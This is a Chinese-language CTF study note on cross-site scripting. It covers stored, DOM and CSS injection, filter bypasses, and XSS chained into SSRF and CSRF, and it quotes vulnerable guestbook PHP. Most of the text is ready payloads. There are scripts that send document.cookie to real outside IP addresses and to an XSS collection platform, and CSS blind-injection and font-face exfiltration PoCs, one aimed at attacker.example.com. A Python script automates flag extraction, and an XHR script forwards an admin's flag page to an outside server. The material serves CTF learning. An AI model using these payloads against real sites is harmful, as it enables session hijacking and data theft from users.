xss
xss简单漏洞的实现
(附靶机关键源码)
stored cross site scripting
存储型xss
- 简介:在可以提交表单的地方留下js恶意代码,利用漏洞存储进后端,引发安全问题
基本操作大家应该都懂,下面给大家看一下漏洞源码,理解一下原理
源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
//
// Sanitize message input
$message = stripslashes( $message );
//stripslashes只返回/前的部分
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//isset判断布尔值:如果参数的值为null,返回false
//mysqli_real_escape_string返回转义字符转义后的字符串
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
————————————————
xss
(DOM based Cross Site Scripting)
源码(待更新)
寻找注入点
提交表单且回显的地方
首先寻找注入点,
在可以写东西并提交表单的地方写下面这些
<script>alert("1");</script>
<img src="aaa" onerror = <script>alert(1);</script>/>
(也不一定非得onerror,可以参考HTML 事件 | 菜鸟教程 (runoob.com))
<script>alert(1);</script>
正常来说以上都会失败(因为太简单了)
以下是高级一点点的做法(再高级的话结合下面的绕过,因为大概率是未绕过才无法成功)
{{1*2}}
这个看康会不会回显2,成功的话说明它引用了框架,要利用它的框架漏洞
也可以是在get传参的地方
js代码中的提示你传参的地方
css in xss
其实也是纯在提交表单且回显的地方,不过插入的是css而不是js
有一种直接xss的,不过文章显示2009年,估计如今早已成为历史
(46条消息) css中的xss漏洞_kuiyuexiang的博客-CSDN博客
#header {background:url(javascript:alert('script injected'))}
#header {</textarea><script>alert('script injected');</script>
#header {</textarea><script>window.location.href='http://hi.baidu.com';</script>
css盲注
参考这个,很全4.2.9.2. CSS 注入 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
据此归纳一下
- 盲注出想要的字符串
<style>
标签里面可以写css,而css可以直接是我们构造的恶意代码,这里由于存在限制,我们采取一种盲注的思维
<style>
#form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
#form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
#form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
[...]
</style>
当第一个字符匹配成功的时候会访问http://localhost/log.php/a
通常是盲注/flag界面的flag{某某.........
有个题目miku师傅做出来的,分享以下脚本
import re
import base64
import requests
next = ''
url = "http://193.57.159.27:47625/"
proxies = {'http': 'http://localhost:7890', 'https': 'http://localhost:7890'}
newcookie = ''
char = "opqrstuvwxyzabcdefghijklmn0123456789QWERTYUIOPASDFGHJKLZXCVBNM_-,{}"
def post(j):
cookie = {
'session' : 'eyJjc3MiOiIyMzQyMzQifQ.Ym02QA.0tJCmX5HeHwyEQGZacH6OukJyc8'
}
data = {
"css" : f'''input[value^="DOCTF{{CSS_d4t4_3x{j}"]
{{background-image:url("http://120.79.0.164:1236
");}}'''}
print("post ------------ j = " + j)
res = requests.post(url, cookies=cookie, proxies=proxies, data=data)
print("post ok")
return res.cookies
def get(i):
print("get ------------ ")
res2 = requests.get(url + "submit_for_review", cookies=i)
print("get ok")
for i in range(100):
for j in char:
res1cookie = post(j)
get(res1cookie)
- 返回字符集
当可以插入CSS的时候,可以使用 font-face
配合 unicode-range
获取目标网页对应字符集。PoC如下
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
当字符较多时,则可以结合 ::first-line
等CSS属性缩小范围,以获取更精确的内容
利用
如何利用xss get cookie
get cookie
nc也可
强烈建议python
python3 -m http.server {Port}
来源ctfshow的xss
外带
<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
利用平台:xss-platform
执行恶意getcookie代码
(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=LaRde1&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
简单来说,原理是:当提交这个吐槽内容时,后台会执行里面的恶意代码,将自己的cookie等重要信息通过get明文传输给xssplatform网站,网站那边会记录下我们得到的cookie
window所有键值
有时候没能带出cookie(考虑绕过,如同源策略),或者cookie为空,或者flag是一个已经声明的js变量,可以选择遍历window所有键值
参考一道hgame2022微信留言板:
解法
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">
js小知识:参考HTML DOM getElementsByClassName() 方法 | 菜鸟教程 (runoob.com)
document.getElementsByClassName(classname) 功能:返回一个html中的类名为classname的标签的所有内容
innerText 指的是文本内容
合起来:就是匹配html中标签的类名为classname的文本
看菜鸟的例子就明白了(document.getElementsByClassName(classname)匹配到红色的,innerText 匹配到蓝色的)
常见的还有
document.getElementsByTagName,也是可以匹配标签的
然后可以看见这个等号是个赋值操作,Object.keys(a)是要指定一个对象a的,功能是返回该对象的键名。
这里选择了windows类,为何呢,请看下图
因为代码中的flag没有在任何js函数体内定义,所以显然属于全局变量,根据上图可知属于windows类的一个属性(会以键值对的形式存储在类中)
所以我们需要的是遍历键值对!
因为windows类这个“全局变量都属于它”的特性,常被用于js代码的信息收集
wp的思路比较巧妙,使用Object.keys(window)把所有全局变量的键名key都打印出来,放到content标签下,那道题目中的留言板恰好有个content标签,所以就直接可以回显出来
而恰好flag的键名key是有特点的,所以在取出它的值value即可
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = F149_is_Here">
总结:
遍历windows的key,可以这样
Object.keys(window)
服务端js相关插件被xss导致ssrf,发送内网请求
自己构造xmlrequest:XMLHttpRequest - Web API 接口参考 | MDN (mozilla.org)
比如说(46条消息) PDF解析器html/XSS 实现SSRF_火线安全的博客-CSDN博客_pdf解析器
漏洞版本:wkhtmltopdf 全版本目前0.12.6,weasyprint <=48
假如需要在内网发送请求,比如说内网访问登录页面并post传用户名密码,或者内网访问超时(加载css等超时)需要用xml读取数据
发送请求并传递post数据 payload
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
还有一种方法
从源代码中的js文件中找到的一个ajax提交
就是异步提交,只要可以执行js就可以使用下面的语句,能不能ssrf要看漏洞在客户端还是在服务端
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
参考CTFshow-web入门-XSS_哔哩哔哩_bilibili
读取xml
发送请求并外带xml
<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/admin",false);
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"%2B btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>
如上文,其实是两个请求,前面先请求得到内网的xml代码(简单理解为html静态界面代码),之后再发送到我们的vps监听端口上
不过自动base64编码了,还得解码后改html后缀打开
绕过
绕过空格
过滤空格
用tab代替,在hackbar中写入%09,利用hackbar进行urldecode
用/**/代替
绕过分号,点
换payload
堆注入
堆注入
?username=';alert(1);//
非典型堆注入
?username=</script><script>alert(1)</script>
当一次移除时:双写或多写绕过
可能的过滤是:标签(直接防注入),单引号(防堆注入)
<scr<script>ipt>alert("XSS")</scr<script>ipt>
?username='';alert(1);//
3 行内样式(Inline style)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?[<]∗?
)|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">
闭合括号(之后堆注入)绕过
- 这个过滤有前端过滤
简单代码审计:
-
escape:编码函数,可以把payload编码为十六进制字符,很难解密
-
location.search: 返回匹配到的字符串,该函数把url中“?”以后的字符串返回(包括“?”)
-
document.getElementById:给某某一个指定id
-
innerHTML=("xxx"): 把起始标签和结束标签的内容换为xxx
遇到了棘手的escape函数,几乎没法绕过,那么这里使用闭合前面的单引号绕过
如下1:
?username=';alert(1);//
为什么alert(1)前面不加
<script>
是怕被过滤
- 非预期解:一定要绕过的话,可以利用
</script>以后的不会过滤(因为开发者选项中</script>被解析了)
上面这条特性来绕过,
如下2
username=</script><script>alert(1)</script>
- 非预期解:不一定要绕过,借刀杀人
username=<img src="javacript::alert(1)" onclick="alert(1);">
然后点击那个裂了的图
伪链接
知识背景:
- 很多HTML标记中的属性都支持javascript:[code]伪协议(伪链接)的形式,这就给了注入XSS可乘之机,当然,要在客户端将执行网页链接的地方插入
简单的代码审计:
-
getQueryVariable函数
url 实例:
http://www.runoob.com/index.php?id=1&image=awesome.jpg
调用 getQueryVariable("id")返回 1。
调用 getQueryVariable("image") 返回 "awesome.jpg"。
- (待更新)
设计一个伪链接欺骗浏览器跳转,然而其实链接是一段即使被escape函数编码也能执行的js恶意脚本,跳转链接即执行!
/level4?jumpUrl=javascript:alert(1);//
核心代码如下:(前面传参要代码审计)
javascript:alert(1);
假POST,真代码审计
代码审计:
- location.href: 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL
编码问题
——只有特殊字符才会被编码
当输入经典xss语句时候,回显如下
/%3Cscript%3Ealert(1);%3C/script%3E
说明被escape函数编码(事实上是一种url编码,可以逆回来)
推荐如下绕过
javascript:alert('xss');
xss模板注入
这个考验对搜索引擎的掌握,先用
{{1*2}}
生效以后说明存在该2注入点,再去看F12(source)
同源策略 xss+csrf
关于http only
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,具体如何设置:response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly") 。所以在head里可以看到一些特征
关于同源策略
参考[Web安全(一)---浏览器同源策略 - 云+社区 - 腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/1744586#:~:text=浏览器的同源策略目的是为了保护用户的信息安全%2C为了防止恶意网站窃取用户在浏览器上的数据%2C如果 不是同源 的站点%2C将不能进行如下操作 %3A 1 Cookie、LocalStorage 和,IndexDB 无法读写 2 DOM 和 Js对象无法获得 3 AJAX请求不能发送)
这里归纳一下:同协议,同端口,同域名(一级域名,二级域名)就是同源。浏览器的同源策略目的是为了保护用户的信息安全,为了防止恶意网站窃取用户在浏览器上的数据,如果不是同源
的站点,将不能进行如下操作 :
- Cookie、LocalStorage 和 IndexDB 无法读写
- DOM 和 Js对象无法获得
- AJAX请求不能发送
来看一个场景,假设admin访问flag界面会出现flag,普通用户不会,然后我们找到了xss点,原本想直接xss getcookie伪造admin访问flag,但是
直接带cookie为什么带不出来呢,猜测设置了http only,再结合the admin bot will be able to access this这句话,会不会是XSS+CSRF呢,再看一眼目标站点为https://xtra-salty-sardines.web.actf.co/,bot站点为https://admin-bot.actf.co/xtra-salty-sardines,一级域名同源,可以试一波
特点是:可以访问,但是不会把cookie给你
参考jacko神的文章
<script>
const xhr = new XMLHttpRequest();
xhr.open('GET','https://xtra-salty-sardines.web.actf.co/flag');
xhr.send();
xhr.onreadystatechange = function(){
if(xhr.readyState === 4){
if(xhr.status >= 200 && xhr.status < 300){
window.open('https://ctf.jan.show/'+'?flag='+xhr.response);
}
}
}
</script>
就是
- 先让admin请求同源的域名下的flag界面https://xtra-salty-sardines.web.actf.co/flag
- 再带着这个页面访问恶意vps